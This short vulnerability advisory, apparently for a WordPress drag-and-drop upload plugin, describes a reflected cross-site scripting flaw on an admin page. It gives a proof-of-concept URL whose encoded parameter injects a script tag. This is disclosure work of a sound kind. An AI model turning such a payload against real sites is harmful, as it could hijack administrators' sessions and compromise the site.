The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admins.
Visit the following path on the site as an admin user: /wp-admin/admin.php?page=drag-n-drop-upload&tab;=pro-features%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E